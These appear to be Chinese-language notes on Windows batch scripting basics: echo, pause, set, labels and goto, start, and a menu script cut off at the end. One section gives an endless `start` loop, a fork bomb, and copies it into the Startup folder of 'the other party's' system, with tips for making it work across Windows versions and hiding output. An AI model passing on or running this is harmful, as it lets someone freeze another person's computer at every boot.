批处理 用户管理
一、批处理编写 基本语法
-
批处理作用:自上而下成批处理每一条命令,知道执行到最后一条。
-
创建批处理:扩展名:.bat
-
创建方法:新建一个记事本,然后将扩展名改为.bat
-
@echo off
关闭回显功能,也就是屏蔽执行过程。一般放在批处理的第一行。 -
pause
暂停批处理运行 -
title
批处理脚本设置标题 -
echo.
输出一个空行,只在批处理脚本中有用 -
ping -n 10 127.0.0.1 >nul 2>nul
给自己发10个包,目的:使脚本暂停几秒钟 -
set
设置变量,常用与在脚本中的互动赋值。
互动赋值:set /p time=请输入时间:
引用变量:%time% -
: 和 goto
: 定义标签名
goto 实现跳转
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块了,所有 :和goto联合,起来可以实现在批处理执行时进行跳转功能。
- start
start 默认打开cmd.exe
start 程序名 打开某个程序
start 网页 打开网页
开机启动+死循环
:d
start
goto d
copy qq.bat "%userprofile%\Start Menu\Programs\StartUp"
#路径中有特殊符号要加双引号
#若不知道对方系统,则winxp win7 win10的路径各写一遍,总有一个会成功!
# 记得>nul
:d
start
goto d
@echo offtitle XXX小程序
:menu
cls
echo ====================
echo 菜单
echo 1.定时关机
echo 2.查看本机IP
echo 3.